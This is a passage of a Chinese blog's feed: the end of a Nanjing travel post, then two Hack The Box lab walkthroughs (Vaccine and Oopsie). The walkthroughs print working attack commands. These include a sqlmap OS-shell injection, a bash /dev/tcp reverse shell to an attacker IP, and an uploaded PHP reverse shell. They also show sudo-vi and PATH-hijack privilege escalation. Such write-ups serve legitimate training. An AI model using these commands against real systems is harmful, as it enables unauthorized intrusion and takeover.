src="https://img.nuyoah.icu/shuoshuo/img/1755670494545_972862dfa59f92efb356a1eeb4d1effd.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494546_a6b43badff50f36e9f0c5a5c62aedfdb.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494542_118d95c50b1b0b55653bf9facd635e7f.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494540_c407cd7b8b2a4aef96e52cf0188aa653.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494539_5037ebd0ddcfebfcf6687cdb68256b38.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494537_354fb7cc1cdaf4025e85d4ba567ee7b4.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494536_f6e78c9a9f99959665cdc5c08d5fbb2f.jpg" alt="动漫周边"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755670494534_f0774562364cdab5ce26c406832f4bb7.jpg" alt="动漫周边"></p><h2 id="玩"><a href="#玩" class="headerlink" title="玩"></a>玩</h2><p>南京最想去找的就是攀岩馆，因为南阳玩不到www，在结合了网上评测，以及cika（微信小程序，里面是各个城市的岩馆信息，同时有人出售次卡，总的来说很适合旅游使用），最终选择了mojo climbing。</p><h3 id="mojo-climbing"><a href="#mojo-climbing" class="headerlink" title="mojo climbing"></a>mojo climbing</h3><p>这家岩馆位于南京秦淮区，离新街口不算太近但也说不上远，高铁换乘2次，然后浮桥下来骑共享单车10分钟左右就到了。<br>门店:<br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278576_b7e4b002eff5a75501099d37a8412df5.jpg" alt="mojo climbing"><br>里面的前台小姐姐很漂亮，而且非常负责，在攀岩前会先问你是不是新手，是的话还会让你签一份保险hhh，然后换上攀岩鞋，会有教练给你讲解一些最简单的攀岩知识，比如如何去查看路线，路线的定级，以及起步动作和下落姿势。在确保了你熟练掌握了这些知识后，才会让你自己去找适合自己的路线。</p><p><img src="https://img.nuyoah.icu/shuoshuo/img/1755669310019_5d20ec4a94971c17efe9f32e131d296c.jpg" alt="路线等级"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669303022_604a699873a216b4d76016628b106fbf.jpg" alt="海报"></p><p><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278575_8d93a69665f0446ba040389286665b16.jpg" alt="mojo climbing内部"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278577_478321ffe2dfdfbca783fc12ed3350e5.jpg" alt="mojo climbing内部"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278573_51efc04f5d977addebd8dc2dfa3e657a.jpg" alt="mojo climbing内部"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278578_303c342452c4d7f7a5101a0de16beb1e.jpg" alt="mojo climbing内部"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278572_9a3406d4c1f412105eb66331d4ffd4dd.jpg" alt="mojo climbing内部"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278568_9579a3d946edc9114e3be17514de3132.jpg" alt="mojo climbing内部"><br><img src="https://img.nuyoah.icu/shuoshuo/img/1755669278570_b66c8d9b242bdade4448c1a3010c5d33.jpg" alt="mojo climbing内部"><br>里面有很多攀岩高手，而且只要你愿意，随时都可以请教他们，氛围非常好。</p><p>mojo climbing 是我此次南京之旅最大的收获，虽然我在里面只待了2个小时，但是我真的很喜欢攀岩这种运动，虽然我现在的水平还很菜，但是我会继续努力，我要健身！！！</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>南京是一个非常有文化底蕴的城市，而且交通非常便利，最后，一定一定不要在旅游旺季去，秦淮河渡船完全坐不到！ 此外需要注意带遮阳伞，因为实在太晒了。<br>旅游的意义应该在与体验未知的事物，和不同地方的人去交谈，去找自己感兴趣平时却无法体验到的事物，绝对不是去打卡和拍照，那样实在太无聊了。</p>]]></content>
    
    
    <summary type="html">一次关于南京的旅行记录，包含行程、景点、美食和个人感受。</summary>
    
    
    
    <category term="旅行随笔" scheme="https://nuyoah.space/categories/%E6%97%85%E8%A1%8C%E9%9A%8F%E7%AC%94/"/>
    
    
    <category term="南京" scheme="https://nuyoah.space/tags/%E5%8D%97%E4%BA%AC/"/>
    
    <category term="旅行" scheme="https://nuyoah.space/tags/%E6%97%85%E8%A1%8C/"/>
    
  </entry>
  
  <entry>
    <title>[HTB] Vaccine 渗透测试笔记</title>
    <link href="https://nuyoah.space/posts/2d3e4f5a.html"/>
    <id>https://nuyoah.space/posts/2d3e4f5a.html</id>
    <published>2025-08-04T02:00:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="HTB-Vaccine-靶机渗透实战"><a href="#HTB-Vaccine-靶机渗透实战" class="headerlink" title="HTB Vaccine 靶机渗透实战"></a>HTB Vaccine 靶机渗透实战</h1><h2 id="目标靶机信息"><a href="#目标靶机信息" class="headerlink" title="目标靶机信息"></a>目标靶机信息</h2><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959113974_582ed8c221bea6ee9625f12d24773fa2.webp" alt="vaccine 靶机"><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959117789_3026e872b8eb08160cb89fccaaf8cc95.webp" alt="vaccine 靶机IP"></p><ul><li>靶机IP: 10.129.10.233</li></ul><h2 id="一、端口扫描"><a href="#一、端口扫描" class="headerlink" title="一、端口扫描"></a>一、端口扫描</h2><p>使用 Nmap 进行端口扫描，发现以下开放端口：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -p- 10.129.10.233</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959124081_d02e4bb96e0ff4cfc779fe28497b88ea.webp" alt="vaccine 靶机端口扫描结果"></p><h3 id="1-端口扫描结果分析"><a href="#1-端口扫描结果分析" class="headerlink" title="1. 端口扫描结果分析"></a>1. 端口扫描结果分析</h3><ul><li>21/tcp   open  ftp     vsftpd 3.0.3</li><li>22/tcp   open  ssh    OpenSSH 8.0</li><li>80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))</li></ul><p>其中21端口发现ftp服务，想起来之前靶场有过ftp匿名登陆的情况，尝试使用匿名登陆。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ftp 10.129.10.233</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959128521_34e0d165ad1ebd01a77243fc9865637c.webp" alt="ftp匿名登陆"></p><h3 id="2-通过ftp获取文件"><a href="#2-通过ftp获取文件" class="headerlink" title="2. 通过ftp获取文件"></a>2. 通过ftp获取文件</h3><p>成功登陆后查看目录<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -al</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959144087_7dcab64f076d2476b0803f010a8baeb8.webp" alt="ftp目录"></p><p>把backup.zip下载下来<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">get backup.zip</span><br></pre></td></tr></table></figure><br>尝试解压backup.zip文件时需要密码<br>使用John the Ripper对zip文件进行破解<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">zip2john backup.zip &gt; zippedzip.txt</span><br><span class="line">john zippedzip.txt</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959151429_9f8fc15ecf6db9de6860ceebdb9e0f38.webp" alt="zip密码破解"></p><p>再次解压缩backup.zip，获得两个文件style.css和index.php</p><p>使用cat查看index.php文件内容<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> index.php</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959156222_ecb01d12ef392985d0c5ea10f9cb68f5.webp" alt="index.php内容"><br>发现管理员admin和md5加密的密文，使用在线网站解密解密获得密码<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959161040_1e6dd43e1481ec2d23f482ddbeec8d40.webp" alt="md5解密"></p><h2 id="二、web漏洞利用，SQL注入"><a href="#二、web漏洞利用，SQL注入" class="headerlink" title="二、web漏洞利用，SQL注入"></a>二、web漏洞利用，SQL注入</h2><p>在拥有了账号admin和密码后，访问靶机的80端口，进入Web界面<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959165849_d3ec3f49980db6302d9625df1660f8a2.webp" alt="vaccine web界面"><br>在search框口输入1，发现url内有id参数，f12后发现PHPSESSID和value，怀疑存在SQL注入漏洞，接下来使用sqlmap进行测试<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u <span class="string">&quot;http://10.129.10.233/dashboard.php?search=py&quot;</span> \</span><br><span class="line">--cookie <span class="string">&quot;PHPSESSID=xxxxxxxxx&quot;</span> \</span><br><span class="line">--flush-session \  <span class="comment">#清除当前会话数据，确保开始一个新的扫描会话，避免冲突</span></span><br><span class="line">--os-shell <span class="comment">#SQL注入打开一个命令行</span></span><br></pre></td></tr></table></figure></p><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959175468_ee4a5605d6c583a90af4133c2cbda6d7.webp" alt="sqlmap测试"><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959179641_ea5e7179ea9339a85603662c05f8cfca.webp" alt="sqlmap测试结果"></p><p>成功获取到os shell。<br>接下来利用反向shell以postgres shell连接<br>使用nc命令监听8888端口<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 8888</span><br></pre></td></tr></table></figure><br>在sqlmap的os shell中执行以下命令，建立反向shell连接<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -c <span class="string">&#x27;bash -i &gt;&amp; /dev/tcp/10.10.16.6/8888 0&gt;&amp;1&#x27;</span></span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959184654_0b348d35f7f5ded58b0e997acce6011b.webp" alt="反向shell连接"></p><h2 id="三、提权"><a href="#三、提权" class="headerlink" title="三、提权"></a>三、提权</h2><h3 id="1-提权至postgres用户"><a href="#1-提权至postgres用户" class="headerlink" title="1. 提权至postgres用户"></a>1. 提权至postgres用户</h3><p>在反向shell中，找www目录下的文件<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /var/www/html</span><br><span class="line"><span class="built_in">ls</span> -al</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959184654_0b348d35f7f5ded58b0e997acce6011b.webp" alt="www目录"></p><p>发现名为dashboard.php的文件，查看该文件内容<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> dashboard.php | grep pass <span class="comment">#过滤出包含pass的行</span></span><br></pre></td></tr></table></figure><br>发现了postgres用户的密码</p><p>接下来可以使用python脚本进行提权<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">&#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br><span class="line"><span class="built_in">sudo</span> -l <span class="comment">#显示当前用户可以作为超级用户执行的命令列表</span></span><br></pre></td></tr></table></figure><br>但是我的命令框经常自动关闭，显示会话died，<br>想起来该靶机开放了22端口，尝试ssh登陆</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh postgres@10.129.10.233</span><br></pre></td></tr></table></figure><p>输入密码后成功登陆<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959195177_91eefc4ecbebdbb6661688c1f48fcc92.webp" alt="ssh登陆"></p><p>成功提权至ostgres用户</p><h3 id="2-提权至root"><a href="#2-提权至root" class="headerlink" title="2. 提权至root"></a>2. 提权至root</h3><p>接下来使用sudo -l命令,发现了/bin/vi 是可以使用特定 pg_hba.conf 文件运行的程序，于是执行<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> /bin/vi /etc/postgresql/11/main/pg_hba.conf</span><br><span class="line">:!/bin/bash</span><br></pre></td></tr></table></figure></p><p>成功提权到root权限<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/vaccine/1754959199240_48d55b57d148871a0e4455aaa201b206.webp" alt="root权限"></p><h2 id="四、总结"><a href="#四、总结" class="headerlink" title="四、总结"></a>四、总结</h2><p>在本次 HTB Vaccine 靶机渗透中，依次利用了 FTP 匿名登录 → 获取源码与凭据 → Web 登录 → SQL 注入获取 OS Shell → 反弹 Shell → SSH 登录 → sudo 提权 的完整攻击链。</p>]]></content>
    
    
    <summary type="html">HackTheBox:Vaccine 靶场的完整渗透流程，包括信息收集、FTP匿名登陆、SQL注入、SSH提权等步骤。 在本次测试中，寻找web漏洞要检查cookie、session等信息，搞清楚访问控制如何工作的。</summary>
    
    
    
    <category term="htb" scheme="https://nuyoah.space/categories/htb/"/>
    
    
    <category term="HTB" scheme="https://nuyoah.space/tags/HTB/"/>
    
    <category term="靶场渗透测试" scheme="https://nuyoah.space/tags/%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
    <category term="ftp匿名登陆" scheme="https://nuyoah.space/tags/ftp%E5%8C%BF%E5%90%8D%E7%99%BB%E9%99%86/"/>
    
    <category term="SQL注入" scheme="https://nuyoah.space/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    
    <category term="ssh提权" scheme="https://nuyoah.space/tags/ssh%E6%8F%90%E6%9D%83/"/>
    
  </entry>
  
  <entry>
    <title>[HTB] Oopsie 渗透测试笔记</title>
    <link href="https://nuyoah.space/posts/1c2d3e4f.html"/>
    <id>https://nuyoah.space/posts/1c2d3e4f.html</id>
    <published>2025-08-03T04:00:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="HackTheBox-Oopsie-靶场的完整渗透流程"><a href="#HackTheBox-Oopsie-靶场的完整渗透流程" class="headerlink" title="HackTheBox:Oopsie 靶场的完整渗透流程"></a>HackTheBox:Oopsie 靶场的完整渗透流程</h1><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958196279_083cd0764b0862a9638c0f37b13e0118.webp" alt="Oopsie 靶场"><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958200519_049452f22ff40a38c826e8994656ad53.webp" alt="Oopsie 靶场信息"></p><h2 id="一、端口扫描"><a href="#一、端口扫描" class="headerlink" title="一、端口扫描"></a>一、端口扫描</h2><p>使用 Nmap 进行端口扫描，发现以下开放端口：<br>22/tcp   open  ssh<br>80/tcp   open  http Apache httpd 2.4.29 ((Ubuntu))</p><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958220253_381476055bd41146c7378d7e139f08b2.webp" alt="Oopsie 靶场端口扫描结果"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -T4 -sV -Pn 10.129.95.191</span><br></pre></td></tr></table></figure><h2 id="二、信息收集"><a href="#二、信息收集" class="headerlink" title="二、信息收集"></a>二、信息收集</h2><h3 id="1-根据端口扫描结果，访问-HTTP-服务"><a href="#1-根据端口扫描结果，访问-HTTP-服务" class="headerlink" title="1.根据端口扫描结果，访问 HTTP 服务"></a>1.根据端口扫描结果，访问 HTTP 服务</h3><p>根据提示发现需要找login页面，f12查看源代码发现路径<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958230372_2a0fc9a3005f63c1a9aadef558219899.webp" alt="Oopsie 靶场登录页面路径"></p><p>成功访问页面<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958235326_31b0ed8312155495bc48ddcf7a0287b4.webp" alt="Oopsie 靶场登录页面"></p><p>尝试了弱口令爆破没有成功，使用以游客身份登陆进一步获取信息</p><h2 id="三、获取用户权限"><a href="#三、获取用户权限" class="headerlink" title="三、获取用户权限"></a>三、获取用户权限</h2><h3 id="1-使用-BurpSuite-代理抓包，获得管理员id和username"><a href="#1-使用-BurpSuite-代理抓包，获得管理员id和username" class="headerlink" title="1.使用 BurpSuite 代理抓包，获得管理员id和username"></a>1.使用 BurpSuite 代理抓包，获得管理员id和username</h3><p>以游客身份登陆进去后，在Account模块发现id传包，于是使用 BurpSuite 代理抓包，并遍历id<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958252442_39df32771f7633910d353ab13b3807a3.webp" alt="Oopsie 靶场抓包遍历结果"><br>发现了admin和super admin<br>之后使用super admin放包<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958262587_c402aec595534f2e836637fbeba4bf7d.webp" alt="Oopsie 靶场放包"><br>successfully!</p><p>之后根据靶场要求使用upload功能上传文件。<br>发现以游客身份无法上传<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958277163_af0b074c875184589605b1cf6b3f50cd.webp" alt="Oopsie 靶场上传文件"></p><p>于是根据之前的抓包过程，先进行uploads页面抓包，修改为super admin的id和username然后放包，成功访问该模块<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958286669_44b03c2ba821ffc365593bad8fc1dfe6.webp" alt="Oopsie 靶场上传页面"></p><h3 id="2-上传反弹shell文件"><a href="#2-上传反弹shell文件" class="headerlink" title="2.上传反弹shell文件"></a>2.上传反弹shell文件</h3><p>首先找upload上传路径，使用gobuster进行目录爆破</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gobuster <span class="built_in">dir</span> -u http://10.129.95.191 -w /usr/share/wordlists/dirb/common.txt -t 50</span><br></pre></td></tr></table></figure><p>发现是uploads文件夹</p><p>准备php反弹shell文件。<br>这里我使用kali自带的php-reverse-shell.php文件<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958297478_f64140119025e68b719eb3ec17992db4.webp" alt="Oopsie 靶场上传反弹shell文件"></p><p>接下来修改监听ip和端口<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958307894_effbe7f2a510f860631096e285522a0b.webp" alt="Oopsie 靶场修改监听IP和端口"></p><details><summary>⚠ 错误提示，点击查看</summary>注意**上图修改的端口最好使用8888**，因为我这里使用4444端口失败了，chatgpt给的是可能被靶机防火墙规则封掉了</details><details><summary>📌 Vim 简单使用速查表（点击展开）</summary>## 1. 进入和退出 Vim<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">vim filename        <span class="comment"># 打开或新建文件</span></span><br><span class="line">i                   <span class="comment"># 进入插入模式</span></span><br><span class="line">Esc                 <span class="comment"># 退出插入模式</span></span><br></pre></td></tr></table></figure>## 2. 保存和退出<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">:q                   <span class="comment"># 退出 Vim</span></span><br><span class="line">:q!                <span class="comment"># 强制退出 Vim</span></span><br><span class="line">:w                   <span class="comment"># 保存文件</span></span><br><span class="line">:wq                  <span class="comment"># 保存并退出 Vim</span></span><br></pre></td></tr></table></figure>## 3. 编辑文本<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">x                   <span class="comment"># 删除光标所在字符</span></span><br><span class="line"><span class="built_in">dd</span>                  <span class="comment"># 删除当前行  </span></span><br><span class="line">yy                  <span class="comment"># 复制当前行</span></span><br><span class="line">p                   <span class="comment"># 粘贴复制的行</span></span><br><span class="line">u                   <span class="comment"># 撤销上一步操作</span></span><br><span class="line">Ctrl + r            <span class="comment"># 重做上一步操作</span></span><br></pre></td></tr></table></figure></details><p>修改成自己的监听IP和端口后，使用nc监听<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 8888</span><br></pre></td></tr></table></figure><br><strong>在上传过程中依然要抓包修改cookie</strong><br>提示上传成功<br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958320790_3c5d85b3b2d95bef9dd68c50dccef8a4.webp" alt="Oopsie 靶场上传成功"></p><h3 id="3-使用curl触发反弹shell"><a href="#3-使用curl触发反弹shell" class="headerlink" title="3. 使用curl触发反弹shell"></a>3. 使用curl触发反弹shell</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl http://10.129.95.191/uploads/phpshell.php</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958327465_34e4bf4288ff5adce34f7014ec576212.webp" alt="Oopsie 靶场触发反弹shell"><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958331864_45f6b1965ed67f2f98bbe2fe609dba6c.webp" alt="whoami"><br>成功获取shell</p><h2 id="四、提权"><a href="#四、提权" class="headerlink" title="四、提权"></a>四、提权</h2><h3 id="1-提升为terminal-shell"><a href="#1-提升为terminal-shell" class="headerlink" title="1. 提升为terminal shell"></a>1. 提升为terminal shell</h3><p>之前获得到的是一个php shell，并不能算是终端，需要做一下升级</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 常用升级方法</span></span><br><span class="line">python3 -c <span class="string">&#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br><span class="line"><span class="built_in">export</span> TERM=xterm</span><br><span class="line">Ctrl + Z                <span class="comment"># 挂起当前会话</span></span><br><span class="line"><span class="built_in">stty</span> raw -<span class="built_in">echo</span>; <span class="built_in">fg</span>      <span class="comment"># 恢复会话</span></span><br><span class="line">reset</span><br></pre></td></tr></table></figure><h3 id="2-信息收集"><a href="#2-信息收集" class="headerlink" title="2. 信息收集"></a>2. 信息收集</h3><p>使用linux命令查看cdn-cgi/login目录内部文件<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /var/www/html/cdn-cgi/login</span><br></pre></td></tr></table></figure></p><p>发现db.php文件<br>怀疑内部有数据库连接信息<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /var/www/html/cdn-cgi/login/db.php</span><br></pre></td></tr></table></figure></p><p>提权以robert用户身份登录<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">su robert</span><br></pre></td></tr></table></figure></p><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958340314_4e4cfc9b351ddaf5242c52c75f30be07.webp" alt="Oopsie 靶场robert提权成功"></p><p>查看目录<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la</span><br></pre></td></tr></table></figure></p><p>查找当前用户id,组id以及所属的group<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">id</span></span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958346295_39883132442bfe23a3403317174b00d5.webp" alt="Oopsie 靶场robert用户信息"></p><p>查找属于该group的全部文件<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -group bugtracker 2&gt;/dev/null</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958346295_39883132442bfe23a3403317174b00d5.webp" alt="Oopsie 靶场查找bugtracker组文件"></p><p>发现只有一个/usr/bin/bugtracker文件</p><p>查看该文件权限和详细信息<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /usr/bin/bugtracker</span><br></pre></td></tr></table></figure></p><p>发现该文件是一个涉及到SUID方面的文件</p><details><summary>🔍 关于 SUID</summary>SUID（Set User ID）是一个特殊的文件权限位，当一个可执行文件被设置了 SUID 位时，任何用户运行该文件时，都会以文件所有者的权限来执行，而不是以运行该文件的用户的权限来执行。这通常用于允许普通用户执行需要更高权限的程序。</details><p>执行该文件<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/bugtracker</span><br></pre></td></tr></table></figure></p><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958355120_581444ece1d987cae3cabbcaf949c00b.webp" alt="Oopsie 靶场执行bugtracker文件"></p><p>这里直接输入root.txt文件路径发现能直接获取root的flag<br>但是依然没有获取到root权限，所以我尝试利用该文件获取.ssh/id_rsa文件<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/bugtracker </span><br><span class="line">/root/.ssh/id_rsa</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958359984_3492a39f7a796230adf2389227abe703.webp" alt="Oopsie 靶场获取id_rsa文件"><br>但是如上图失败了，个人推测可能是该文件不存在（大概率），或者权限不足</p><h3 id="3-使用PATH劫持提权"><a href="#3-使用PATH劫持提权" class="headerlink" title="3. 使用PATH劫持提权"></a>3. 使用PATH劫持提权</h3><details><summary>PATH劫持的原理</summary>利用了 /usr/bin/bugtracker 这个程序是 setuid root 并且在代码里直接调用了 cat，但没有用绝对路径。</details><p>在/tmp创建假的cat程序</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;/bin/sh&#x27;</span> &gt; /tmp/cat</span><br><span class="line"><span class="built_in">chmod</span> +x /tmp/cat</span><br><span class="line"><span class="built_in">export</span> PATH=/tmp:<span class="variable">$PATH</span> <span class="comment">#将/tmp放在PATH最前面</span></span><br></pre></td></tr></table></figure><p>执行bugtracker程序</p><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/oopsie/1754958366916_9c719f208725c22733638419104e5b4d.webp" alt="Oopsie 利用PATH劫持提权"></p><p>成功获取最高root权限！<br>参考: <a href="https://xsh.asia/2024/12/19/Hack-The-Box-Oopsie/">Hack-The-Box Oopsie</a> 的分析</p><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>在本次测试中，在执行反弹shell时候，有时候文件上传成功一次，但有时候需要多次尝试才能成功。这可能与靶场的防护机制有关，需要根据实际情况灵活应对。<br>上传的 php-reverse-shell.php 会在被访问（curl）时，立刻执行 system() 反弹到监听端口，然后 PHP 脚本结束，进程销毁。当第二次 curl 时，如果服务器的 PHP 环境不允许重复执行某些脚本（比如缓存、会话锁），可能就不触发。</p><p>这也是我第一次遇到通过PATH劫持提权的情况，非常有助于拓展提权思路</p><p>每一次突破权限，都是跨越认知的藩篱；每一次失败，都是积蓄下一次成功的力量！</p>]]></content>
    
    
